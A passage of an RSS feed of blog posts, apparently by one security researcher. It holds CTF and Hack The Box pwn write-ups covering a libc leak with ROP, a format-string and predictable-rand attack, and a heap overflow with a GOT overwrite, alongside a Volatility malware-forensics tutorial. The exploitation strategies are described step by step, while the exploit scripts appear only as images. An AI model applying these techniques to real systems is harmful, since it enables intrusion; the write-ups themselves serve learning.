leak an address from libc so we can calculate the address of system. To do this we need to:</p><ul><li>Find the addresses of a pop_rdi gadget, puts@got, puts@plt and main@plt</li><li>Pop puts@got which points to the address of puts in libc into the rdi register</li><li>Print the puts@got address by calling puts@plt</li><li>In addition, we need to call main@plt again so the execution doesn’t stop</li></ul><p>By using the leaked puts address now we need to compute the base address of libc, find a /bin/sh string and the address of system and exploit the buffer overflow again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ojA9m-ec08dQ2A0IuZCGSg.png" /><figcaption>The exploit script</figcaption></figure><p><strong>pwn_baby_fmt</strong></p><p>This challenge was a bit more complicated than the previous one. It has the following security protections enabled:</p><ul><li>NX -&gt; stack not executable</li><li>Full RELRO -&gt; the GOT section is read-only</li><li>PIE -&gt; the base address of the binary is randomised</li><li>ASLR is enabled on the remote system -&gt; the address of libc is randomised on the server</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q52Uig9wypTUlPmSpc4iJg.png" /></figure><p>It contains four important functions:</p><ul><li>malicious</li><li>primary</li><li>check_random</li><li>list_contains</li></ul><p>The malicious function runs execve with /bin/cat and flag as parameters, basically outputting the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*l6PgaE4iRxah1TazRFWL_w.png" /></figure><p>The functionality of list_contains is:</p><ul><li>it takes a string as an argument and checks if it is part of another string bucurest iasi cluj timisoar brasov constant</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*GTxE4gp6f2vFBRT5p-TDsA.png" /></figure><p>The functionality of check_random is:</p><ul><li>It takes an integer as an argument</li><li>It checks if the argument is equal to a number stored in the .bss section</li><li>If it’s not equal the execution ends</li><li>Otherwise it prints Ok</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*_OmhpoADHPBrIGbVxPQ9TA.png" /></figure><p>The functionality of primary is:</p><ul><li>initializes a seed with time(0)</li><li>initializes a pseudo-random number generator with the seed</li><li>generates a random number and stores it in .bss</li><li>prints What’s your town?</li><li>Reads an input string of 7 characters and appends a null-terminating character to it</li><li>Passes the input to list_contains to check if it’s a substring of the string mentioned earlier</li><li>If it is it prints Hello, %s</li><li>Otherwise it prints Hello stranger. What town is this?and the string (here we have a format string vulnerability)</li><li>Prints Can you say hi in Chalcatongo?</li><li>Reads an input using gets (here we have a buffer overflow vulnerability)</li><li>The random number is passed to the check_canary function</li><li>The function returns</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*fdokYz_bE8e5t9q-iqcOvw.png" /></figure><p>The exploitation strategy is the following:</p><ul><li>Leak an address on the stack using the format-string vulnerability (in this case the 10th address from the input string was leaked)</li><li>Compute the address of the malicious function by subtracting an offset from the leak</li><li>Write a program in C that generates a random number in the same way plus a time delay to account for the network delay (in our case it was 9 second after a little brute-forcing)</li><li>Use the buffer overflow together with the generated random number and the computed address</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*z7vzZnR6xYlZNuzJsseyrA.png" /><figcaption>The C program used to generate the random number</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lxiN0OpfAp_lRyS_t-SnuA.png" /><figcaption>The exploit script</figcaption></figure><p><strong>Contact</strong></p><p>If you would like to get in touch you can contact me on one of the following platforms:</p><ul><li><a href="https://twitter.com/eu_stash">Twitter</a></li><li><a href="https://www.linkedin.com/in/gabriel-pirjolescu-400901130/">LinkedIn</a></li></ul><p><strong>Sources</strong></p><ul><li><a href="https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro">https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fac989d11f96" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[pwn] Hack The Box — Dream Diary: Chapter 1 Write-up]]></title>
            <link>https://medium.com/@gabriel.pirjolescu/pwn-hack-the-box-dream-diary-chapter-1-write-up-6ae842d1d7e6?source=rss-47acca63e51------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ae842d1d7e6</guid>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[heap]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Gabriel Pirjolescu]]></dc:creator>
            <pubDate>Thu, 30 Apr 2020 08:04:47 GMT</pubDate>
            <atom:updated>2020-04-30T08:04:47.355Z</atom:updated>
            <content:encoded><![CDATA[<p>Dream Diary: Chapter 1 is a hard pwn challenge on Hack The Box. It involves heap exploitation techniques, which has a pretty steep learning curve. Let’s first take a look at the type of file and check the what security measures are in place. It is a 64-bit dynamically linked ELF file. The fact that it is dynamically linked points to the fact that we most probably have to find out the libc version which is used on the remote server. This is provided as a hist in the challenge description Hint: Xenial Xerus. The libc used in Ubuntu 16.04 is libc6_2.23. As for the available security measures, we have the following:</p><ul><li><a href="https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro">Partial RELRO</a> means that the non-PLT part of the GOT section (.got from readelf output) is read only but .got.plt is still writable (more about PLT and GOT in the next section).</li><li>The canary is a protection against stack overflow. It is initialised as a random value at program start. Every time a new function is called the canary is placed on the stack before the return address. Before the function returns the canary is checked if it is the same. If not, the execution of the program is finished. However, this is not very important since we are facing a heap vulnerability.</li><li>NX stands for Non-Executable and means that the stack is not executable. Therefore we can’t place shellcode on the stack.</li><li><a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a> is also definitely enabled, thus the positions of the stack, heap and libraries will be randomised when the program is started.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VXbww4zMYVb_7vFg-AdT0w.png" /></figure><p><strong>PLT and GOT</strong></p><p>The Global Offset Table (GOT) is made up of the .got and .got.plt sections. The .got segment holds the addresses of the functions in libc. The addresses in GOT are populated dynamically by the dynamic linker while the program is running. The .got.plt holds a reference to .got for each symbol.</p><p>The Procedure Linkage Table (PLT) contains only one section, .plt. For each function in an outside library referenced in our program, we have an entry in .plt which is actually a jump to the address in .got.plt for that function. <a href="https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro">Here</a> I have found a very good explanation of how shared functions are linked. <a href="https://www.youtube.com/watch?v=kUk5pw4w0h4">LiveOverflow</a> also has a nice video where he explains the process.</p><p><strong>Decompiling the binary</strong></p><p>By decompiling the binary we can observe that there are several interesting functions. First, it is important to mention that the notes array is declared as a global variable and it holds references to the addresses where the notes are stored. The main function does the following things:</p><ul><li>Calls another function print_menu which prints the menu.</li><li>Reads an input string of at most four characters using read.</li><li>Uses atoi to convert the input string to an integer.</li><li>Based on the value of the integer it calls allocate, edit, delete or exit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*Rjr4oFDn8zWUwxXgHL8_0A.png" /></figure><p>The allocate function has the following functionalities:</p><ul><li>Tries to find the first note which is not allocated (if it fails it returns).</li><li>Reads an input string of at most six characters .</li><li>Converts the string to an integer which is the size of the note.</li><li>Allocates a note of the required size.</li><li>Reads the content of the note using the read_input function.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*poAPMl0DvRzHf9nt5STLoA.png" /></figure><p>The edit function is the one which contains the vulnerability:</p><ul><li>Reads the index and converts it to an integer.</li><li>If the index is not in range or the note is not allocated it returns</li><li>Otherwise, it reads a new string by using read_input</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*qx_4GTCX5ainpW5s_tUPOg.png" /></figure><p>The delete function deletes an existing note:</p><ul><li>First, it reads an index.</li><li>Following, it checks if the index is within range and the note is not free.</li><li>Then, it frees the memory at the location in the notes array.</li><li>Finally, it makes the address in the notes array 0.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*fvnSdLxw0WJrcORfB_6mSQ.png" /></figure><p>The last important function for us is read_input:</p><ul><li>First, it takes as argument a buffer and an a size_t variable.</li><li>Then, it reads the input in the buffer using read.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*Uaa71HOuE3tOL4p-hkzPPw.png" /></figure><p><strong>Spotting the vulnerability</strong></p><p>The vulnerability is caused by a flaw in the logic of the application. The way a program knows when a string terminates is when it encounters a null character (\x00). In this program, when a new note is read, no null character is added to the end of the note. Following, when the note is edited and the size of the note is inferred, it will read the note until it reaches a null character. Therefore, if the content of the note is followed by other bytes than the note character, we might be able to overwrite them while editing a note.</p><p>Understanding the heap</p><p>To keep the article in scope, I will only explain the heap working mechanism hat relates directly to our vulnerability, a more thorough explanation can be found <a href="https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/">here</a>.</p><p>The heap is used in programs to manually allocate regions of process memory which is used across different functions during execution. Programmers ask the heap manager to allocate these regions of memory via calls to heap functions like malloc. In addition, the allocated heap memory can be freed by calling free and passing the pointer to that specific memory region.</p><p>We call a region of memory in the heap a chunk. A chunk must is always 8-byte aligned on 32-bit systems, or 16-byte aligned on 64-bit systems. A chunk also stores different metadata, which can be observed below.</p><pre>struct malloc_chunk {<br>  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).  */<br>  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */<br>  struct malloc_chunk* fd;                /* double links -- used only if free. */<br>  struct malloc_chunk* bk;<br>  /* Only used for large blocks: pointer to next larger size.  */<br>  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */<br>  struct malloc_chunk* bk_nextsize;<br>};</pre><pre>typedef struct malloc_chunk* mchunkptr;</pre><p>Therefore, a chunk can have a different structure based on if it is allocated or not. The layout of the heap when the chunk is allocated:</p><pre>chunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>        | Size of previous chunk, if unallocated (P clear)  |<br>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>        | Size of chunk, in bytes                     |A|M|P|<br>  mem-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>        | User data starts here                             .<br>        .                                                   .<br>        . (malloc_usable_size() bytes)                      .<br>        .                                                   |<br> next-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>        | (size of chunk, but used for application data)   <br>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>        | Size of next chunk, in bytes                |A|0|1|<br>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</pre><p>The layout of a free chunk on the heap:</p><pre>chunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>        | Size of previous chunk, if unallocated (P clear)  |<br>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>`head:&#39; | Size of chunk, in bytes                     |A|0|P|<br>  mem-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>        | Forward pointer to next chunk in list             |<br>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>        | Back pointer to previous chunk in list            |<br>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>        | Unused space (may be 0 bytes long)                .<br>        .                                                   .<br>        .                                                   |<br> next &gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>`foot:&#39; | Size of chunk, in bytes                           |<br>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br>        | Size of next chunk, in bytes                |A|0|0|<br>        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</pre><p>The (simplified) allocation process works like this:</p><ul><li>If there is a previously-freed chunk of memory, and that chunk is big enough to service the request, the heap manager will use that freed chunk for the new allocation.</li><li>Otherwise, if there is available space at the top of the heap, the heap manager will allocate a new chunk out of that available space and use that.</li><li>Otherwise, the heap manager will ask the kernel to add new memory to the end of the heap, and then allocates a new chunk from this newly allocated space.</li><li>If all these strategies fail, the allocation can’t be serviced, and malloc returns NULL.</li></ul><p>As memory gets passed back to free, the heap manager tracks these freed chunks in a series of different linked lists called “bins”. When an allocation request is made, the heap manager searches those bins for a free chunk that’s big enough to service the request. If it finds one, it can remove that chunk from the bin, mark it as “allocated”, and then return a pointer to the “user data” region of that chunk to the programmer as the return value of malloc. For performance reasons, there are several different types of bins:</p><ul><li>Fast bins</li><li>Unsorted bins</li><li>Small bins</li><li>Large bins</li></ul><p>In our case, we are only interested in fast bins. They are maintained using an array of pointers. There are 10 fast bins. Each of these bins maintains a single linked list. Addition and deletion happen from the front of this list (LIFO manner). Each bin has chunks of the same size. The 10 bins each have chunks of sizes: 16, 24, 32, 40, 48, 56, 64, 72, 80 and 88. Sizes mentioned here include metadata as well. To store chunks, 4 fewer bytes will be available (on a platform where pointers use 4 bytes). Only the prev_size and size field of this chunk will hold meta data for allocated chunks. prev_size of next contiguous chunk will hold user data. No two contiguous free fast chunks coalesce together.</p><pre>typedef struct malloc_chunk *mfastbinptr;</pre><pre>mfastbinptr fastbinsY[]; // Array of pointers to chunks</pre><p><strong>Exploiting the vulnerability</strong></p><p>The basic idea to exploit the vulnerability is the following.</p><ol><li>Allocate 4 chunks: A, B, C and D.</li><li>Free chunk B.</li><li>Edit A and overwrite the size of chunk B.</li><li>Free chunks D and C to add them to the list of free chunks and make chunk C point to D.</li><li>Allocate chunk B again and overlap chunk C’s fd pointer to point wherever we want.</li><li>Allocate chunk D again.</li><li>Allocate chunk C (it will be allocated to where fd is pointing to).</li></ol><p>The main problem with this attack is that we have to find a value in the writable sections of the program which is a valid fast bin. Therefore, it is not an arbitrary write. To overcome this problem, I have extended the exploit in the following way:</p><ol><li>Found a valid address before the start of the notes array.</li><li>Allocate a dummy X chunk at the index 0 in the notes array.</li><li>Overwrite notes[0] with an arbitrary address.</li><li>Edit notes[0], therefore overwriting the memory section where the address stored there is pointing at.</li></ol><p>By using this trick I was able to overwrite free@got with printf@plt and then write puts@got in notes[0]. Then, I leaked the address of puts@got by calling delete on notes[0]. Finally, I have overwritten atoi@got with the address of system in libc and passed sh when the menu asked for the input option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*pRhwLvVvaCKs4-bsHZbbNA.png" /><figcaption>The heap after all the initial chunks have been allocated</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*G8jdLz8sl9vWabKwJ3pVTw.png" /><figcaption>The heap after chunks B, C and D have been deleted and A was allocated again to overwrite the size of B (now 0x151)</figcaption></figure><p>One more thing, the server uses socat, thus we have to replicate the environment. To do this I have used the following script.</p><pre>#!/bin/sh<br>socat TCP4-LISTEN:9000,reuseaddr,fork EXEC:/root/htb/dream_diary_1/chapter1,pty,stderr</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*NrAgTscUWVMZa4oOK3ffFQ.png" /><figcaption>The first part of the script containing the setup and the helper functions</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZZUfcZXOWf47rFynL1V90A.png" /><figcaption>The exploitation part of the script</figcaption></figure><p><strong>Contact</strong></p><p>If you would like to get in touch you can contact me on one of the following platforms:</p><ul><li><a href="https://twitter.com/eu_stash">Twitter</a></li><li><a href="https://www.linkedin.com/in/gabriel-pirjolescu-400901130/">LinkedIn</a></li></ul><p><strong>Sources:</strong></p><ul><li><a href="https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro">https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro</a></li><li><a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization">https://en.wikipedia.org/wiki/Address_space_layout_randomization</a></li><li><a href="https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/">https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ae842d1d7e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Demystifying Windows Malware Hunting — Part 2 — Detecting Execution with Volatility]]></title>
            <link>https://medium.com/@gabriel.pirjolescu/demystifying-windows-malware-hunting-part-2-detecting-execution-with-volatility-1a139b194bfc?source=rss-47acca63e51------2</link>
            <guid isPermaLink="false">https://medium.com/p/1a139b194bfc</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[volatility]]></category>
            <dc:creator><![CDATA[Gabriel Pirjolescu]]></dc:creator>
            <pubDate>Tue, 07 Apr 2020 13:54:34 GMT</pubDate>
            <atom:updated>2020-04-07T13:58:13.993Z</atom:updated>
            <content:encoded><![CDATA[<h3>Demystifying Windows Malware Hunting — Part 2 — Detecting Execution with Volatility</h3><p>In the <a href="https://medium.com/@gabriel.pirjolescu/demystifying-windows-malware-hunting-part-1-detecting-persistence-with-osquery-b53573c2aac0">first post</a> of this series, I have explained how to hunt for malware by using <a href="https://osquery.io/">osquery</a> together with the <a href="https://attack.mitre.org/">Mitre Att&amp;Ck</a> techniques to detect persistence mechanisms. In this post, I will show how to look for signs of malware execution by using <a href="https://github.com/volatilityfoundation/volatility">Volatility</a>.</p><p>Volatility is an open-source framework for the extraction of digital artifacts from Random Access Memory (RAM) samples. It supports Windows, Linux and Mac OSX and the extraction techniques are independent of the operating system. Besides, it supports a variety of memory image formats such as crash dump files, raw sample (dd), VirtualBox core dump and VMWare snapshots, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yXgi7ahu_iv-WUbOvCrzdA.png" /></figure><p>To perform the memory acquisition process, several tools such as <a href="https://my.comae.com/login">DumpIt,</a> <a href="https://accessdata.com/products-services/forensic-toolkit-ftk">FTK Imager</a> and <a href="https://github.com/google/rekall">Rekall</a> can be used. I find FTK Imager to be the easiest to use. Besides, it produced a clean image which I had no problems analysing with Volatility. With regards to Volatility installation, I have to mention that it is best to clone the last branch to make sure that you get the latest profile. Each profile is correlated with a specific OS release. After <a href="https://github.com/volatilityfoundation/volatility/wiki/Installation">installing</a> Volatility and acquiring the memory, we need to find out the correct profile. The command and the output for doing it are the following. From it, we can get the suggested profile and the different structures’ locations. The complete list of volatility commands can be found <a href="https://github.com/volatilityfoundation/volatility/wiki/Command-Reference">here</a>. Now we’ll use the profile to extract the execution data from memory.</p><pre>vol.py --output-file=imageinfo -f memdump.mem imageinfo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*d3kizV9_794tYFaISsoyxA.jpeg" /><figcaption>The output of the imageinfo command</figcaption></figure><p><strong>Identifying processes</strong></p><p>We will extract the processes running and look for any anomalies. First, we can search for any anomalous process in the list of running processes by using the pslist command. The documentation mentions that “it walks the linked list pointed to by PsActiveProcessHead and shows the offset, process name, process ID, the parent process ID, number of threads, number of handles, and date/time when the process started and exited”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VW9Jgnwek4b2Xz5IMwuDUQ.png" /><figcaption>Output of pslist</figcaption></figure><p>In case any strange-looking process has been found, we can investigate further with pstree. This helps us to spot any process injection, which is a common technique used by malware to hide. pstree uses the same technique as pslist but outputs the result based on the parent-child relationship between the processes. For example, here we can see that wininit.exe started services.exe which in turn started multiple instances of svchost.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*ocZcUY5a2mgUCMFWl1dfBw.png" /><figcaption>Output of pstree</figcaption></figure><p>The drawback of the two methods already presented is that they do not show hidden or unlinked processes. However, psscan can do that. It uses a technique called <a href="https://www.sciencedirect.com/science/article/pii/S1742287616000062">pool tag scanning</a> which allows for discovering of artifacts that have been freed or hidden from the OS. The way it works is by scanning the kernel-mode heaps known as memory pools which store object allocations such as process descriptors and file structures. If the process already terminated, the time it terminated will be shown in the Time exited field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JOtxZ7ut-a3mT7uR_KFCdg.png" /><figcaption>Output of psscan</figcaption></figure><p>Finally, we can use psxview to detect hidden processes by comparing the following (documented <a href="https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal#psxview">here</a>):</p><ul><li>PsActiveProcessHead linked list</li><li>EPROCESS pool scanning</li><li>ETHREAD pool scanning (then it references the owning EPROCESS)</li><li>PspCidTable (handle table for process and thread client IDs)</li><li>Csrss.exe handle table (more info <a href="https://j00ru.vexillium.org/2010/07/windows-csrss-write-up-the-basics/">here</a>)</li><li>Csrss.exe internal linked list</li></ul><p>Usually, processes that do not show up in pslist but they do show up in the other columns are suspicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*bSmn6H-6ZiK7H2UUtyLpyQ.png" /><figcaption>Output of psxview</figcaption></figure><p><strong>Process details</strong></p><p>Once one or more suspicious processes have been identified, we can look at the handles opened by those specific processes and the loaded Dynamic Link Libraries (DLLs). Another technique used by malware when it injects itself is to load anomalous DLLs (for that specific process or for Windows in general) and execute them in a separate thread.</p><p>The command dlllist outputs the loaded DLLs together with the command line used to fire the running processes. To display the loaded DLLs it walks the _LDR_DATA_TABLE_ENTRY linked list structures. The DLLs are loaded to the list when a process calls the LoadLibrary function. The LoadCount field tells if it was loaded statically or dynamically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_s6Sv594hmy-xC8JshdlJQ.png" /><figcaption>The loaded DLLs for svchost.exe with a PID of 892</figcaption></figure><p>If we want to check the Security Identifiers (SIDs) associated with a process, we can run getsids. This can be helpful if we want to check if a process is running under higher privileges that it is supposed to or if it was run by an anomalous user (for example a service account).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*KGyAlxkOhsX_vivU_jfAIA.png" /><figcaption>The permissions of wininit.exe</figcaption></figure><p>If we run the handles command, we can see the handles(e.g. files, registry keys, events, threads, mutexes, etc) running under a specific process. An exact process can be specified to reduce the range of results.</p><p><strong>Other types of pool type scanning</strong></p><p>The filescan command returns a list of open files. It works similar to the psscan command by employing pool tag scanning to look for file objects. This results in the ability to discover open files even if they are hidden by rootkits by hooking API functions. Moreover, we can scan for mutexes, symbolic links and threads by using mutantscan, symlinkscan and thrdscan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*nzQDHyYXJD4KXrvM70gC0g.png" /><figcaption>Results of filescan</figcaption></figure><p>Another important aspect of malware execution is established network connections. The connscan command reveals both active and terminated network connections. Furthermore, sockscan picks up artifacts from active and terminated sockets.</p><p><strong>Commands</strong></p><p>A search for commands can be done by using cmdscan and consoles. cmdscan searches the memory of csrss.exe and conhost.exe for commands entered through the console. Another advantage is that it can also show commands from active consoles. The consoles command scans for console information and it outputs the entire input and output buffer, allowing to see exactly what the attacker has seen in the console.</p><p><strong>Further investigation</strong></p><p>To investigate further the processes can be dumped using procdump and memdump. Also, the registry contents can be dumped with hivedump and dumpregistry. Below I have attached a script which runs all the presented commands on a memory dump.</p><pre>#!/usr/bin/env bash</pre><pre>profile=&quot;Win10x64_18362&quot;<br>file=&quot;memdump.mem&quot;</pre><pre>cmds=(<br>    #processes<br>    &quot;pslist&quot;<br>    &quot;psscan&quot;<br>    &quot;pstree&quot;<br>    &quot;pstotal&quot;<br>    &quot;psxview&quot;</pre><pre>#DLLs and handles<br>    &quot;dlllist&quot;<br>    &quot;getsids&quot;<br>    &quot;handles&quot;<br>    &quot;filescan&quot;<br>    &quot;mutantscan&quot;<br>    &quot;cmdscan&quot;<br>    &quot;consoles&quot;<br>    &quot;scvscan&quot;<br>    &quot;cmdline&quot;</pre><pre>#network<br>    &quot;connections&quot;<br>    &quot;connscan&quot;<br>    &quot;sockets&quot;<br>    &quot;sockscan&quot;<br>    &quot;netscan&quot;<br>)</pre><pre>echo &quot;[+] File: $file&quot;<br>echo &quot;[+] Profile: $profile&quot;</pre><pre>for i in &quot;${cmds[@]}&quot;; do<br>    echo &quot;[+] Command: $i&quot;<br>        vol.py --profile=$profile --output-file=$i -f $file $i<br>done</pre><p><strong>Contact</strong></p><p>If you would like to get in touch you can contact me on one of the following platforms:</p><ul><li><a href="https://twitter.com/eu_stash">Twitter</a></li><li><a href="https://www.linkedin.com/in/gabriel-pirjolescu-400901130/">LinkedIn</a></li></ul><p><strong>Sources</strong></p><ol><li><a href="https://medium.com/@gabriel.pirjolescu/demystifying-windows-malware-hunting-part-1-detecting-persistence-with-osquery-b53573c2aac0">https://medium.com/@gabriel.pirjolescu/demystifying-windows-malware-hunting-part-1-detecting-persistence-with-osquery-b53573c2aac0</a></li><li><a href="https://osquery.io/">https://osquery.io/</a></li><li><a href="https://attack.mitre.org/">https://attack.mitre.org/</a></li><li><a href="https://github.com/volatilityfoundation/volatility">https://github.com/volatilityfoundation/volatility</a></li><li><a href="https://my.comae.com/login">https://my.comae.com/login</a></li><li><a href="https://accessdata.com/products-services/forensic-toolkit-ftk">https://accessdata.com/products-services/forensic-toolkit-ftk</a></li><li><a href="https://github.com/google/rekall">https://github.com/google/rekall</a></li><li><a href="https://github.com/volatilityfoundation/volatility/wiki/Installation">https://github.com/volatilityfoundation/volatility/wiki/Installation</a></li><li><a href="https://www.sciencedirect.com/science/article/pii/S1742287616000062">https://www.sciencedirect.com/science/article/pii/S1742287616000062</a></li><li><a href="https://j00ru.vexillium.org/2010/07/windows-csrss-write-up-the-basics/">https://j00ru.vexillium.org/2010/07/windows-csrss-write-up-the-basics/</a></li><li><a href="https://github.com/volatilityfoundation/volatility/wiki/Command-Reference">https://github.com/volatilityfoundation/volatility/wiki/Command-Reference</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1a139b194bfc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[pwn] Hack The Box — Ropme Write-up]]></title>
            <link>https://medium.com/@gabriel.pirjolescu/pwn-hack-the-box-ropme-write-up-b40179cf5573?source=rss-47acca63e51------2</link>
            <guid isPermaLink="false">https://medium.com/p/b40179cf5573</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Gabriel Pirjolescu]]></dc:creator>
            <pubDate>Thu, 02 Apr 2020 07:23:11 GMT</pubDate>
            <atom:updated>2020-04-02T07:23:11.562Z</atom:updated>
            <content:encoded><![CDATA[<p>Ropme is a hard pwn challenge on Hack The Box. In this article, I will explain the concepts and techniques needed to solve it. As usual, the first step is to decompile the binary to take a look at the source code and also run it to have a good idea of its functionalities. For the decompilation, I have used <a href="https://www.hex-rays.com/products/ida/">IDA,</a> but there are plenty of <a href="https://error4hack.com/best-free-exe-decompilers-and-windows-disassembler/">other alternatives</a> available. We can immediately spot a buffer overflow since char s only stores one character and fgets reads and stores 500 characters in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GXxxVsBeIXTUNT3v-MhylA.png" /><figcaption>The main function decompiled in IDA</figcaption></figure><p>Now let’s see how long our input needs to be before we overflow the return address located on the top of the stack. First, we need to create and store a pattern. Then we place a breakpoint on the <a href="https://c9x.me/x86/html/file_module_x86_id_280.html">ret</a> instruction in main and run the program with the pattern as an input. When execution reaches the breakpoint, we look for the values on the top of the stack in the pattern to get the offset. For this stage, I will use <a href="https://www.gnu.org/software/gdb/">GDB</a> with the <a href="https://github.com/longld/peda">Python Exploit Development Assistance</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jzskCY8gOD7byqZp7P3tJA.png" /><figcaption>Create a pattern, set the breakpoint and run the program</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*raBmyPe8VuTRYygExPnTrQ.png" /><figcaption>Find the pattern offset</figcaption></figure><p><strong>Buffer overflow protections</strong></p><p>To know how to exploit the buffer overflow vulnerability, we also need to look at the protections that are in place for this executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*kvV6oXExbMwBONQcuZfkVw.png" /><figcaption>The existing protections</figcaption></figure><p>NX stands from Non-Executable and it means that when the application is running and is loaded in memory, the segments are not allowed to be both writable and executable. We can check this by looking at the virtual memory mapping when the application is running in GDB. Therefore, we can’t inject shellcode and execute it directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5q7nP4-_vG5GRrGK2Yw8Vw.png" /><figcaption>The virtual mapping of the memory sections with the associated permissions</figcaption></figure><p><a href="https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro">RELRO</a> is the acronym of Relocation Read-Only. It means that the Global Offset Table (GOT) which is used to allow the dynamic linker to load and link symbols are marked as read-only. We will talk more about the GOT later.</p><p>We can safely assume that <a href="https://blog.morphisec.com/aslr-what-it-is-and-what-it-isnt/">ASLR</a> is enabled as well. It randomly positions the base address of the executable and the position of libraries, heap and stack in a process’ address space. This prevents us from knowing at what position in memory the functions or gadgets are 